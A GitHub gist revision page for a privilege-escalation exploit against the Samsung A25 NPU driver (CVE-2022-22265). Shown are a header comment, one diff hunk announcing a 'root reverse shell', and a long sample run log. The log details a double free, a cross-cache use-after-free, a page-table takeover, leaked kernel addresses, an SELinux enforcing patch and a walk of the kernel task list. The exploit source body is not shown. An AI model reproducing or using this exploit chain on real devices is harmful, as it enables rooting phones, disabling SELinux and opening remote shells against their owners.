Last active
November 2, 2024 09:10
-
-
Save soez/66eabe37a8dec0937cba8e0cb1ab7ebb to your computer and use it in GitHub Desktop.
Revisions
-
soez revised this gist
Aug 11, 2024 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -2040,7 +2040,7 @@ int main(int argc, char *argv[]) { puts("[+] look at root reverse shell :)"); sleep(3); /* replace tlb cache */ replace_tlb(); -
Aug 11, 2024 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,2083 @@ /* * * Author: @javierprtd * Date : 01-08-2024 * Kernel: 5.10.177 * Samsung A25 NPU: CVE-2022-22265 (bug patched - reintroduced) * */ // echo 1 > /sys/module/memlogger/holders/npu/drivers/platform:exynos-npu/npu_exynos/npu_err_in_dmesg /* a25x:/ $ /data/local/tmp/exp [+] CVE-2022-22265 [+] mmap pages to phys r/w [+] set num files [+] preparing pipe buffer [+] alloc dmabuf [+] mmap buffer to ncp object [+] open /dev/vertex10 [+] ioctl graph [+] ioctl format [+] ioctl graph [+] init signalfd spray to better cross cache [+] start signalfd cross cache [+] ioctl format [+] getting vulnerable object (from signalfd) [+] ioctl graph [+] ioctl format [+] ioctl streamon [+] ioctl streamoff (double free) [+] spray pipe_buffer [+] locating vulnerable signalfd object (uaf) [+] pipe_buffer->page leak: 0xffffffff0134c800 [+] pipe_buffer->page to virt: 0xffffff804d320000 [+] pipe_buffer->page to virt to page: 0xffffffff0134c800 [+] fd_signal found at 31240th [+] locating vulnerable object pipe_buffer (for cross cache) [+] pipe fd found at 2th [+] free vulnerable object (from pipe_buffer) [+] finishing cross cache [+] spray page table [+] phys leak 0x00e80008e8a92f43 [+] mmap buffer to manage tlb [+] looking for page table and phys pte [+] found distinct page at virtual 0x2b0000 [!] be patient now, looking for page table [+] found page table at phys 0x00e80008edc7bf43 and phys valid buffer pte 0x00e80008ac4acf43 [+] looking for victim to migrate [+] found victim to migrate at virtual buffer full_tlb 0x7938800000 [+] page table self pointer [+] munmap evil [+] looking for victim page [+] found victim page at virtual buffer full_tlb 0x7938801000 [+] looking for kernel phys [+] kernel phys base at 0x80098000 [+] kernel phys offset 0x98000 [+] kernel phys data at 0x81e78000 [+] kernel virtual selinux_state at 0xffffffc00a262968 [+] kernel virtual init_task at 0xffffffc009e95e80 [+] kernel virtual base at 0xffffffc008098000 [+] go with selinux bypass [+] selinux enforcing patched [+] libbase.so mapped at 0x7931ff5000 [+] LogLine found at 0x7932019818 [+] looking for process ffffff881569a500 -> init ffffff8815698000 -> kthreadd ffffff881569ca00 -> rcu_gp ffffff881569dc80 -> rcu_par_gp ffffff881569b780 -> kworker/0:0 ffffff8815699280 -> kworker/0:0H ffffff88156fdc80 -> kworker/u16:0 ffffff88156fb780 -> mm_percpu_wq ffffff88156f9280 -> kworker/u16:1 ffffff88156fa500 -> rcu_tasks_kthre ffffff88156f8000 -> rcu_tasks_trace ffffff88156fca00 -> ksoftirqd/0 ffffff8815741280 -> rcu_preempt ffffff8815742500 -> rcub/0 ffffff8815740000 -> rcuc/0 ffffff8815744a00 -> migration/0 ffffff8815752500 -> cpuhp/0 ffffff881579a500 -> cpuhp/1 ffffff8815798000 -> migration/1 ffffff881579ca00 -> rcuc/1 ffffff881579dc80 -> ksoftirqd/1 ffffff881579b780 -> kworker/1:0 ffffff8815799280 -> kworker/1:0H ffffff8815d24a00 -> cpuhp/2 ffffff8815d25c80 -> migration/2 ffffff8815d23780 -> rcuc/2 ffffff8815d21280 -> ksoftirqd/2 ffffff8815d22500 -> kworker/2:0 ffffff8815d20000 -> kworker/2:0H ffffff8815ee9280 -> cpuhp/3 ffffff8815eea500 -> migration/3 ffffff8815ee8000 -> rcuc/3 ffffff8815eeca00 -> ksoftirqd/3 ffffff8815eedc80 -> kworker/3:0 ffffff8815eeb780 -> kworker/3:0H ffffff8816069280 -> cpuhp/4 ffffff881606a500 -> migration/4 ffffff8816068000 -> rcuc/4 ffffff881606ca00 -> ksoftirqd/4 ffffff881606dc80 -> kworker/4:0 ffffff881606b780 -> kworker/4:0H ffffff88161f9280 -> cpuhp/5 ffffff88161fa500 -> migration/5 ffffff88161f8000 -> rcuc/5 ffffff88161fca00 -> ksoftirqd/5 ffffff88161fdc80 -> kworker/5:0 ffffff88161fb780 -> kworker/5:0H ffffff88163b9280 -> cpuhp/6 ffffff88163ba500 -> migration/6 ffffff88163b8000 -> rcuc/6 ffffff88163bca00 -> ksoftirqd/6 ffffff88163bdc80 -> kworker/6:0 ffffff88163bb780 -> kworker/6:0H ffffff8816540000 -> cpuhp/7 ffffff8816544a00 -> migration/7 ffffff8816545c80 -> rcuc/7 ffffff8816543780 -> ksoftirqd/7 ffffff8816541280 -> kworker/7:0 ffffff8816542500 -> kworker/7:0H ffffff8816da1280 -> netns ffffff8816ef4a00 -> kworker/6:1 ffffff8816ef5c80 -> kworker/0:1 ffffff8816ef3780 -> kworker/7:1 ffffff8816ef1280 -> kworker/1:1 ffffff8816ef2500 -> kworker/2:1 ffffff8816ef0000 -> kworker/3:1 ffffff8817005c80 -> kworker/4:1 ffffff8817003780 -> kworker/5:1 ffffff8817001280 -> kauditd ffffff8817002500 -> khungtaskd ffffff8817000000 -> oom_reaper ffffff8817004a00 -> writeback ffffff88172eca00 -> kcompactd0 ffffff88173eca00 -> kblockd ffffff88173edc80 -> blkcg_punt_bio ffffff881744dc80 -> edac-poller ffffff881744b780 -> devfreq_wq ffffff8817449280 -> watchdogd ffffff881744a500 -> kworker/7:1H ffffff881739dc80 -> kswapd0 ffffff881739ca00 -> kworker/u17:0 ffffff8817390000 -> erofs_worker/0 ffffff8817392500 -> erofs_worker/1 ffffff8817391280 -> erofs_worker/2 ffffff8817393780 -> erofs_worker/3 ffffff8817395c80 -> erofs_worker/4 ffffff8817394a00 -> erofs_worker/5 ffffff8817348000 -> erofs_worker/6 ffffff881734a500 -> erofs_worker/7 ffffff8817349280 -> kworker/6:1H ffffff881734dc80 -> dmabuf-deferred ffffff881734ca00 -> uas ffffff88172edc80 -> uether ffffff8816da2500 -> dm_bufio_cache ffffff8816da0000 -> ipv6_addrconf ffffff8816da4a00 -> five_wq ffffff8816da5c80 -> five_hook_wq ffffff881c509280 -> kworker/7:2 ffffff881c50b780 -> kworker/6:2 ffffff88172f0000 -> kworker/u16:2 ffffff88172f4a00 -> acpm_update_log ffffff88172f2500 -> irq/107-1190000 ffffff88172f3780 -> kworker/7:3 ffffff88172f1280 -> irq/151-s2mpu ffffff88172f5c80 -> irq/152-s2mpu ffffff881d144a00 -> irq/153-s2mpu ffffff881d145c80 -> irq/154-s2mpu ffffff881d143780 -> irq/155-s2mpu ffffff881d141280 -> irq/156-s2mpu ffffff881d142500 -> irq/157-s2mpu ffffff881d140000 -> irq/158-s2mpu ffffff881d14b780 -> irq/159-s2mpu ffffff881d149280 -> irq/160-s2mpu ffffff881d14a500 -> irq/161-s2mpu ffffff881d148000 -> irq/162-s2mpu ffffff881d14ca00 -> irq/163-s2mpu ffffff881d14dc80 -> irq/164-s2mpu ffffff881d198000 -> irq/165-s2mpu ffffff881d19ca00 -> irq/166-s2mpu ffffff881d19dc80 -> irq/167-s2mpu ffffff881d19b780 -> irq/168-s2mpu ffffff881d199280 -> irq/169-s2mpu ffffff881d19a500 -> irq/170-s2mpu ffffff881d1e1280 -> irq/171-s2mpu ffffff881d1e2500 -> irq/172-s2mpu ffffff881d1e0000 -> irq/173-s2mpu ffffff881d1e4a00 -> irq/174-exynos- ffffff881d1e5c80 -> irq/123-118c000 ffffff881e885c80 -> sec_audio_dbg_s ffffff881e883780 -> sec_abc_wq ffffff881e881280 -> typec_manager_e ffffff881e884a00 -> typec_manager_m ffffff881c51dc80 -> irq/292-1171000 ffffff881c51ca00 -> irq/293-1171000 ffffff881c518000 -> irq/294-1171000 ffffff881c51b780 -> irq/295-1171000 ffffff881c519280 -> irq/296-1171000 ffffff881c51a500 -> irq/297-1171000 ffffff881d1e3780 -> irq/298-1171000 ffffff88173e4a00 -> irq/299-1171000 ffffff88173e5c80 -> irq/300-1171000 ffffff88173eb780 -> irq/301-1171000 ffffff88173e9280 -> fast_switch_pos ffffff88173ea500 -> fast_switch_pos ffffff88173e8000 -> thermal_BIG ffffff8816da3780 -> thermal_hotplug ffffff881f6f5c80 -> thermal_LITTLE ffffff881f6f3780 -> thermal_G3D ffffff881f6f1280 -> thermal_ISP ffffff881f6f2500 -> thermal_NPU ffffff881f6f0000 -> thermal_CP ffffff881f6f4a00 -> fast_switch:0 ffffff881f74a500 -> fast_switch:6 ffffff881f748000 -> kworker/6:3 ffffff881f74ca00 -> g3d_dvfs ffffff881f74dc80 -> kbase_job_fault ffffff881f74b780 -> kworker/u17:1 ffffff881f749280 -> simpleinteracti ffffff881f730000 -> simpleinteracti ffffff881f734a00 -> simpleinteracti ffffff881f735c80 -> simpleinteracti ffffff881f733780 -> simpleinteracti ffffff881f731280 -> simpleinteracti ffffff881f732500 -> simpleinteracti ffffff881f72ca00 -> simpleinteracti ffffff881f72dc80 -> cpif_tpmon_moni ffffff881f72b780 -> cpif_tpmon_boos ffffff881f729280 -> shmem_tx_wq ffffff881f72a500 -> irq/177-tzasc ffffff881f728000 -> irq/178-tzasc ffffff88205a8000 -> irq/179-ppmpu ffffff88205aca00 -> irq/180-ppmpu ffffff88205adc80 -> hwrng ffffff88205ab780 -> irq/62-14c50000 ffffff88205a9280 -> irq/63-14c50000 ffffff88205aa500 -> irq/64-15110000 ffffff88207d2500 -> irq/65-15110000 ffffff88207d0000 -> abox_ipc ffffff88207d4a00 -> irq/66-15140000 ffffff88207d5c80 -> irq/67-15140000 ffffff88207d3780 -> irq/68-15170000 ffffff88207d1280 -> irq/69-15170000 ffffff8814c7a500 -> irq/70-151a0000 ffffff8814c78000 -> irq/71-151a0000 ffffff8814c7ca00 -> irq/72-15580000 ffffff8814c7dc80 -> irq/73-15580000 ffffff8814c7b780 -> irq/74-15480000 ffffff8814c79280 -> irq/75-15480000 ffffff8814ca9280 -> irq/76-153a0000 ffffff8814caa500 -> abox_qos ffffff8814ca8000 -> irq/77-153a0000 ffffff8814caca00 -> kworker/5:2 ffffff8814cadc80 -> irq/78-153d0000 ffffff8814cab780 -> irq/79-153d0000 ffffff8814d2dc80 -> irq/80-12cd0000 ffffff8814d2b780 -> irq/81-12cd0000 ffffff8814d29280 -> irq/82-10b50000 ffffff8814d2a500 -> irq/83-10b50000 ffffff8814d28000 -> irq/84-10b80000 ffffff8814d2ca00 -> irq/85-10b80000 ffffff8814d78000 -> irq/86-14900000 ffffff8814d7ca00 -> irq/87-14900000 ffffff8814d7dc80 -> irq/88-149d0000 ffffff8814d7b780 -> irq/89-149d0000 ffffff8814d79280 -> irq/90-15680000 ffffff8814d7a500 -> irq/91-15680000 ffffff8814e50000 -> irq/92-156b0000 ffffff8814e54a00 -> irq/93-156b0000 ffffff8814e55c80 -> kworker/4:2 ffffff8814e53780 -> irq/94-12e70000 ffffff8814e51280 -> irq/95-12e70000 ffffff8814e52500 -> panel0:disp-det ffffff8814810000 -> panel0:pcd ffffff8814814a00 -> panel0:err-fg ffffff8814815c80 -> panel0:conn-det ffffff8814813780 -> panel0:panel-co ffffff8814811280 -> panel0:panel-up ffffff8814812500 -> panel0:evasion- ffffff8814869280 -> panel-bl-thread ffffff881486a500 -> abd_blank_workq ffffff8814868000 -> rbin ffffff881486ca00 -> rbin_shrink ffffff881486dc80 -> crtc0_kthread ffffff881486b780 -> crtc1_kthread ffffff88fe8fa500 -> card0-crtc0 ffffff88fe8f8000 -> card0-crtc1 ffffff88fe8fca00 -> wq_vsync ffffff88fe8fdc80 -> wq_fsync ffffff881e880000 -> kworker/2:2 ffffff881e882500 -> wq_dispon ffffff881734b780 -> wq_panel_probe ffffff881739b780 -> log_collector ffffff881739a500 -> failure_wq ffffff8817399280 -> syserr_recovery ffffff8817398000 -> fm_client_wq ffffff88fd6a8000 -> tz_worker_threa ffffff88fd6aca00 -> tz_worker_threa ffffff88fd6adc80 -> tz_worker_threa ffffff88fd6ab780 -> tz_worker_threa ffffff88fd6a9280 -> tz_worker_threa ffffff88fd6aa500 -> tz_worker_threa ffffff88fe8fb780 -> tz_worker_threa ffffff88fe8f9280 -> tz_worker_threa ffffff88fd6f5c80 -> ree_time ffffff88fd6fdc80 -> tz_iwlog_thread ffffff881c50dc80 -> tz_iwsock ffffff88fd67ca00 -> connecting_thre ffffff88fd67dc80 -> wifilogger ffffff88173e3780 -> wifilogger ffffff88173e1280 -> wifilogger ffffff881c50ca00 -> wifilogger ffffff88fd304a00 -> cfg80211 ffffff88173e2500 -> conn_logger ffffff88173e0000 -> usb_notify ffffff88fd6f3780 -> s2mpu13-wqueue@ ffffff88fd6f1280 -> irq/306-s2mpu13 ffffff88fd6f2500 -> power-keys-wq0@ ffffff88fd6f0000 -> s2mpu14-wqueue@ ffffff88fd6f4a00 -> scsi_eh_0 ffffff88fcda4a00 -> scsi_tmf_0 ffffff88fcda5c80 -> ufs_perf_0 ffffff88fcda3780 -> ufs_eh_wq_0 ffffff88fcda1280 -> ufs_clk_gating_ ffffff88fcb29280 -> usb_int_qos_wq ffffff88fcb2a500 -> usb_tpmon_wq ffffff88fcb28000 -> SEC_WB_wq ffffff88fcda2500 -> kworker/u16:3 ffffff88fd6fb780 -> kworker/0:1H ffffff88fd6f9280 -> kworker/u16:4 ffffff88fcb2dc80 -> kworker/1:1H ffffff88fd305c80 -> kworker/2:1H ffffff88fd303780 -> kworker/5:1H ffffff88fd301280 -> kworker/3:1H ffffff88fd300000 -> srpmb_wq ffffff88e5f69280 -> mfc/inst_migrat ffffff88fcb2b780 -> mfc/butler ffffff88e5ff8000 -> irq/355-12ed000 ffffff88e5ffca00 -> mfc_core/meerka ffffff88e5ffdc80 -> mfc_core/idle ffffff88e5f6a500 -> mfc_core/butler ffffff88e5f68000 -> mfc_core/qos_ct ffffff88e5f6ca00 -> irq/493-s2mf301 ffffff88e5f6dc80 -> dw-mci-card ffffff88e5f6b780 -> dw_mci_clk_ctrl ffffff8816f99280 -> kworker/6:4 ffffff8816f9a500 -> chub_log_kthrea ffffff8816f98000 -> irq/268-11a1000 ffffff8816f9ca00 -> npu_exynos ffffff8816f9dc80 -> kworker/0:2 ffffff88e5ffb780 -> 3-003c ffffff88fd67b780 -> pdic_irq_event ffffff88fd679280 -> 3-003c ffffff88fd67a500 -> irq/495-s2mf301 ffffff88fd678000 -> kworker/1:2 ffffff88358aa500 -> fingerprint_deb ffffff88358a8000 -> bootc_wq ffffff88358aca00 -> samsung_mobile_ ffffff88e5ff9280 -> kworker/2:3 ffffff88e5ffa500 -> charger-wq ffffff8835405c80 -> kworker/1:3 ffffff8835403780 -> kworker/1:4 ffffff8835401280 -> shub_dev_wq ffffff8835402500 -> shub_debug_wq ffffff8835400000 -> sec_vibrator ffffff8835404a00 -> sec_input_irq_w ffffff88356d2500 -> fts_wq ffffff88356d0000 -> fts_irq_wq ffffff88fcda0000 -> irq/496-focalte ffffff883572b780 -> irq/497-A96T3X6 ffffff8835729280 -> kworker/2:4 ffffff8816f9b780 -> pass-through ffffff883505b780 -> irq/499-tfa98xx ffffff8835059280 -> irq/500-tfa98xx ffffff883505a500 -> jbd2/sda26-8 ffffff8835058000 -> ext4-rsv-conver ffffff88356d4a00 -> kdmflush ffffff88356d5c80 -> kdmflush ffffff88358adc80 -> kdmflush ffffff88358ab780 -> kdmflush ffffff88358a9280 -> kdmflush ffffff8835223780 -> kdmflush ffffff8835221280 -> kverityd ffffff883505ca00 -> kdmflush ffffff8835222500 -> kverityd ffffff8835220000 -> kdmflush ffffff8835224a00 -> kverityd ffffff8835225c80 -> kdmflush ffffff8834ce2500 -> kverityd ffffff8834ce0000 -> kdmflush ffffff8834ce4a00 -> kverityd ffffff8834ce5c80 -> kdmflush ffffff8834ce3780 -> kverityd ffffff8834ce1280 -> ext4-rsv-conver ffffff8834f42500 -> kdmflush ffffff8834f40000 -> kverityd ffffff8834f44a00 -> ext4-rsv-conver ffffff88172e9280 -> init ffffff88172e8000 -> ueventd ffffff8834f41280 -> kworker/4:1H ffffff88334edc80 -> kdmflush ffffff88334eb780 -> kdmflush ffffff88334e9280 -> kdmflush ffffff883350ca00 -> kdmflush ffffff883350dc80 -> kdmflush ffffff883350b780 -> kdmflush ffffff8833509280 -> kdmflush ffffff883350a500 -> kdmflush ffffff8833508000 -> kdmflush ffffff883356b780 -> kdmflush ffffff8833569280 -> kdmflush ffffff883356a500 -> kdmflush ffffff8833568000 -> kdmflush ffffff88335d9280 -> kdmflush ffffff88335dca00 -> kdmflush ffffff88335ddc80 -> kdmflush ffffff8833641280 -> kdmflush ffffff8833640000 -> kdmflush ffffff8833644a00 -> kdmflush ffffff88336b8000 -> kdmflush ffffff88336bb780 -> kdmflush ffffff88336b9280 -> kdmflush ffffff883373a500 -> loop0 ffffff8833738000 -> loop1 ffffff883373ca00 -> loop2 ffffff881c508000 -> loop3 ffffff883505dc80 -> loop4 ffffff88331e5c80 -> ext4-rsv-conver ffffff88331e3780 -> ext4-rsv-conver ffffff88331e2500 -> ext4-rsv-conver ffffff88356d1280 -> ext4-rsv-conver ffffff88328f4a00 -> ext4-rsv-conver ffffff88328f3780 -> kworker/0:3 ffffff88328f1280 -> init ffffff883373dc80 -> tfa98xx ffffff881ab38000 -> tfacal ffffff88351db780 -> prng_seeder ffffff883371a500 -> tfa98xx ffffff883572a500 -> tfacal ffffff8834f45c80 -> kworker/1:5 ffffff8835728000 -> logd ffffff88fd6f8000 -> lmkd ffffff88351d9280 -> servicemanager ffffff8834f43780 -> hwservicemanage ffffff881a251280 -> vndservicemanag ffffff883572ca00 -> psimon ffffff88f1ec8000 -> watchdogd ffffff88351da500 -> binder:566_2 ffffff881a254a00 -> jbd2/sda34-8 ffffff881a255c80 -> ext4-rsv-conver ffffff881733a500 -> jbd2/sda1-8 ffffff881733dc80 -> ext4-rsv-conver ffffff8833719280 -> kdmflush ffffff8817339280 -> jbd2/sda33-8 ffffff881733b780 -> ext4-rsv-conver ffffff881733ca00 -> jbd2/sda2-8 ffffff8817338000 -> ext4-rsv-conver ffffff88edf68000 -> irq/498-rt5665 ffffff88edf6ca00 -> iod ffffff88edf6b780 -> tzdaemon ffffff88328f0000 -> tzts_daemon ffffff88f1ec9280 -> suspend-service ffffff88e6bb3780 -> binder:606_2 ffffff88f1cf9280 -> android.hardwar ffffff88f1ecb780 -> vendor.samsung. ffffff88f1ecdc80 -> vendor.samsung. ffffff88328f2500 -> vendor.samsung. ffffff88e6bb1280 -> vendor.samsung. ffffff88147ab780 -> f2fs_ckpt-254:5 ffffff88147a9280 -> f2fs_discard-25 ffffff881441b780 -> f2fs_gc-254:53 ffffff8814738000 -> vendor.samsung. ffffff88146ab780 -> vaultkeeperd ffffff88e6bb5c80 -> tombstoned ffffff8814523780 -> loop5 ffffff8814418000 -> loop6 ffffff8814521280 -> loop7 ffffff88146adc80 -> loop8 ffffff88146a9280 -> loop9 ffffff88147aca00 -> loop10 ffffff88e6bb2500 -> loop11 ffffff881473ca00 -> loop12 ffffff883c59dc80 -> loop13 ffffff883c59b780 -> loop14 ffffff88147adc80 -> loop15 ffffff883c599280 -> loop16 ffffff883c59a500 -> loop17 ffffff881441dc80 -> loop18 ffffff883c598000 -> loop19 ffffff883c59ca00 -> loop20 ffffff883cad1280 -> loop21 ffffff88146aa500 -> loop22 ffffff883cad2500 -> loop23 ffffff881473dc80 -> loop24 ffffff881473b780 -> kverityd ffffff8814739280 -> loop25 ffffff883cac4a00 -> ext4-rsv-conver ffffff88147a8000 -> ext4-rsv-conver ffffff881473a500 -> loop26 ffffff88146a8000 -> loop27 ffffff881ab3b780 -> ext4-rsv-conver ffffff881ab39280 -> loop28 ffffff883cac5c80 -> ext4-rsv-conver ffffff88146aca00 -> loop29 ffffff8814524a00 -> ext4-rsv-conver ffffff883cc43780 -> ext4-rsv-conver ffffff88f1ecca00 -> loop30 ffffff883cc9b780 -> ext4-rsv-conver ffffff883cad0000 -> ext4-rsv-conver ffffff883cad4a00 -> ext4-rsv-conver ffffff883cc99280 -> loop31 ffffff883cc9a500 -> ext4-rsv-conver ffffff883cc41280 -> ext4-rsv-conver ffffff883cc42500 -> ext4-rsv-conver ffffff883cc40000 -> ext4-rsv-conver ffffff883cc98000 -> ext4-rsv-conver ffffff883cc9ca00 -> kverityd ffffff883cc9dc80 -> kverityd ffffff883cad5c80 -> loop32 ffffff883ccfb780 -> ext4-rsv-conver ffffff883ca2b780 -> ext4-rsv-conver ffffff883cad3780 -> ext4-rsv-conver ffffff883c9cb780 -> ext4-rsv-conver ffffff883c9ca500 -> ext4-rsv-conver ffffff883cc44a00 -> ext4-rsv-conver ffffff883cc90000 -> loop33 ffffff883cd6b780 -> loop34 ffffff883cc94a00 -> loop35 ffffff883c9c9280 -> loop36 ffffff883cc45c80 -> loop37 ffffff883cdc1280 -> kverityd ffffff883cd69280 -> loop38 ffffff883cdeb780 -> ext4-rsv-conver ffffff883cc95c80 -> loop39 ffffff883cc93780 -> kverityd ffffff883cc91280 -> kverityd ffffff883cc92500 -> ext4-rsv-conver ffffff883ce13780 -> loop40 ffffff883cde9280 -> ext4-rsv-conver ffffff883cdea500 -> loop41 ffffff883cde8000 -> kverityd ffffff883cdc2500 -> kverityd ffffff883ccf9280 -> kverityd ffffff881ab3a500 -> kverityd ffffff881ab3ca00 -> ext4-rsv-conver ffffff883ca6dc80 -> loop42 ffffff883cf83780 -> ext4-rsv-conver ffffff883ce11280 -> kverityd ffffff883ccfa500 -> ext4-rsv-conver ffffff883cdc0000 -> kverityd ffffff883cdc4a00 -> loop43 ffffff883cd6a500 -> ext4-rsv-conver ffffff883ce12500 -> ext4-rsv-conver ffffff883cdc5c80 -> ext4-rsv-conver ffffff883cdc3780 -> loop44 ffffff883d409280 -> ext4-rsv-conver ffffff883cdeca00 -> loop45 ffffff883ccf8000 -> kverityd ffffff883ccfca00 -> kverityd ffffff883ccfdc80 -> ext4-rsv-conver ffffff883ca2dc80 -> ext4-rsv-conver ffffff883cd68000 -> kverityd ffffff883cd6ca00 -> kverityd ffffff883cdedc80 -> kverityd ffffff883d4edc80 -> kverityd ffffff883d4eb780 -> kverityd ffffff883ca28000 -> ext4-rsv-conver ffffff883ca2a500 -> ext4-rsv-conver ffffff883cf81280 -> kverityd ffffff883cf82500 -> ext4-rsv-conver ffffff883ca2ca00 -> ext4-rsv-conver ffffff883ca29280 -> ext4-rsv-conver ffffff883ce10000 -> ext4-rsv-conver ffffff883cd6dc80 -> kverityd ffffff883d4e9280 -> kverityd ffffff883d4ea500 -> ext4-rsv-conver ffffff883d4e8000 -> ext4-rsv-conver ffffff883d705c80 -> magiskd ffffff883cac3780 -> cass ffffff883cac2500 -> emservice ffffff883d700000 -> binder:836_2 ffffff883d704a00 -> binder:837_3 ffffff883d40ca00 -> main ffffff883d40dc80 -> main ffffff883ca69280 -> [email protected] ffffff883c9d3780 -> audio.service ffffff883ca6b780 -> [email protected] ffffff883ca6ca00 -> [email protected] ffffff883ca68000 -> [email protected] ffffff883c9d2500 -> [email protected] ffffff883c9d5c80 -> [email protected] ffffff883cf85c80 -> [email protected] ffffff883ce14a00 -> iptables-restor ffffff883ca6a500 -> android.hardwar ffffff883ce15c80 -> ip6tables-resto ffffff881a86a500 -> neuralnetworks@ ffffff881a869280 -> [email protected] ffffff881a86dc80 -> [email protected] ffffff881a86b780 -> [email protected] ffffff881a868000 -> binder:859_2 ffffff881a86ca00 -> hermesd ffffff8843959280 -> vendor.samsung. ffffff883c9d4a00 -> vendor.samsung. ffffff883c9d0000 -> android.hardwar ffffff883c9d1280 -> android.hardwar ffffff88fd6fca00 -> android.hardwar ffffff88408cca00 -> samsung.hardwar ffffff883d4eca00 -> samsung.softwar ffffff883ca1ca00 -> [email protected] ffffff8845cd3780 -> [email protected] ffffff8845c18000 -> [email protected] ffffff8845cd2500 -> vendor.samsung. ffffff8845cd0000 -> [email protected] ffffff8845c1ca00 -> [email protected] ffffff8845cba500 -> vendor.samsung. ffffff8845cd4a00 -> [email protected] ffffff8845cd5c80 -> ExynosHWCServic ffffff8847ab4a00 -> [email protected] ffffff8847ab5c80 -> eden_runtime@1. ffffff8847ab3780 -> [email protected] ffffff8847ab1280 -> audioserver ffffff8847ab2500 -> credstore ffffff8847ab0000 -> binder:954_2 ffffff88478e1280 -> kumihodecoder ffffff88478e2500 -> perfmond ffffff88491c5c80 -> surfaceflinger ffffff88492d2500 -> drmserver ffffff8850202500 -> ewlogd ffffff88492d3780 -> traced_probes ffffff88491c2500 -> traced ffffff884a942500 -> kbase_event ffffff8849144a00 -> kbase_event ffffff8858a44a00 -> vendor.samsung. ffffff8847a05c80 -> binder:1044_2 ffffff88589ab780 -> fabric_crypto ffffff8847a02500 -> imsd ffffff8845fbb780 -> binder:1061_2 ffffff8845fb9280 -> smdexe ffffff8845fb8000 -> diagexe ffffff8850015c80 -> ddexe ffffff8850013780 -> connfwexe ffffff885bbbdc80 -> binder:1069_2 ffffff885b964a00 -> kbase_event ffffff885bbba500 -> mediaextractor ffffff885d935c80 -> mediametrics ffffff885d933780 -> mediaserver ffffff885b963780 -> speg_helper ffffff885f781280 -> spqr_service ffffff885d8d2500 -> storaged ffffff885d8d0000 -> wificond ffffff8860452500 -> [email protected] ffffff8860450000 -> argosd ffffff8860454a00 -> cbd ffffff8860455c80 -> gpsd ffffff8860453780 -> epic ffffff8860451280 -> memlogd ffffff885bbbca00 -> [email protected] ffffff885b843780 -> rild ffffff8860663780 -> wlbtd ffffff8860662500 -> mediaswcodec ffffff8860664a00 -> gatekeeperd ffffff8860773780 -> abox_log ffffff8860771280 -> [email protected] ffffff8872700000 -> kworker/u17:2 ffffff888423ca00 -> multiclientd ffffff886a343780 -> system_server ffffff8877172500 -> kbase_event ffffff88a8db3780 -> m.android.phone ffffff886a342500 -> ndroid.systemui ffffff88aaf3a500 -> kworker/6:36H ffffff88aaf38000 -> kworker/6:37H ffffff88aaf3dc80 -> kworker/6:38H ffffff88aaf83780 -> kworker/6:39H ffffff88aaf82500 -> kworker/6:40H ffffff88aaf29280 -> webview_zygote ffffff88a5fb4a00 -> rkstack.process ffffff805a402500 -> com.sec.epdg ffffff88bc980000 -> com.sec.sve ffffff805a723780 -> com.android.nfc ffffff805a721280 -> .sec.imsservice ffffff88b3642500 -> com.android.se ffffff88b3640000 -> ris.tui_service ffffff8058ceb780 -> id.app.launcher ffffff8004802500 -> id.ext.services ffffff8009b0ca00 -> [email protected] ffffff800a371280 -> kworker/u17:3 ffffff800a892500 -> location.nsflp2 ffffff800ab4dc80 -> perfsdkserver ffffff80586e1280 -> loop46 ffffff800a3c3780 -> zram0_wbd ffffff800f75ca00 -> pageboostd ffffff800f759280 -> adbd ffffff800ecbca00 -> kbase_event ffffff802a233780 -> .gms.persistent ffffff802a231280 -> rs.media.module ffffff8032c42500 -> hbox:interactor ffffff8032f81280 -> s.messaging:rcs ffffff804288a500 -> id.diagmonagent ffffff8042888000 -> c.android.sdhms ffffff8032c44a00 -> d.process.media ffffff885b841280 -> earchbox:search ffffff804f9db780 -> kbase_event ffffff801a0ea500 -> kworker/1:2H ffffff8050aedc80 -> kworker/2:2H ffffff8057cfdc80 -> kworker/7:78H ffffff8057ea0000 -> kworker/7:82H ffffff8057ea9280 -> kworker/7:88H ffffff8057ea8000 -> kworker/3:2H ffffff8057fd1280 -> kworker/4:3H ffffff806ad7dc80 -> kworker/0:194H ffffff806add9280 -> kworker/0:206H ffffff806ae32500 -> kworker/0:217H ffffff806ae30000 -> kworker/0:218H ffffff806ae40000 -> kworker/0:219H ffffff806ae44a00 -> kworker/0:220H ffffff806ae45c80 -> kworker/0:221H ffffff806ae43780 -> kworker/0:222H ffffff806ae41280 -> kworker/0:223H ffffff806ae42500 -> kworker/0:224H ffffff806ae92500 -> kworker/0:225H ffffff806ae90000 -> kworker/0:226H ffffff806ae94a00 -> kworker/0:227H ffffff806ae95c80 -> kworker/0:228H ffffff806ae93780 -> kworker/0:229H ffffff806ae91280 -> kworker/0:230H ffffff806ae9a500 -> kworker/0:231H ffffff806ae98000 -> kworker/0:232H ffffff806ae9ca00 -> kworker/0:233H ffffff806ae9dc80 -> kworker/0:234H ffffff806ae9b780 -> kworker/0:235H ffffff806ae99280 -> kworker/0:236H ffffff806aeeb780 -> kworker/0:237H ffffff806aee9280 -> kworker/0:238H ffffff806aeea500 -> kworker/0:239H ffffff806aee8000 -> kworker/0:240H ffffff806aeeca00 -> kworker/0:241H ffffff806aeedc80 -> kworker/0:242H ffffff806aef5c80 -> kworker/0:243H ffffff806aef3780 -> kworker/0:244H ffffff806aef1280 -> kworker/0:245H ffffff806aef2500 -> kworker/0:246H ffffff806aef0000 -> kworker/0:247H ffffff806aef4a00 -> kworker/0:248H ffffff806af4ca00 -> kworker/0:249H ffffff806af4dc80 -> kworker/0:250H ffffff806af4b780 -> kworker/0:251H ffffff806af49280 -> kworker/0:252H ffffff806af4a500 -> kworker/0:253H ffffff806af48000 -> kworker/0:254H ffffff806af54a00 -> kworker/0:255H ffffff806af53780 -> kworker/0:257H ffffff806d3e8000 -> ogle.android.as ffffff88b7394a00 -> gle.android.gms ffffff8819190000 -> com.wssyncmldm ffffff8079931280 -> martsuggestions ffffff8829613780 -> id.app.routines ffffff801a0eb780 -> wifi.mobilewips ffffff883b080000 -> irq/190-dwc3 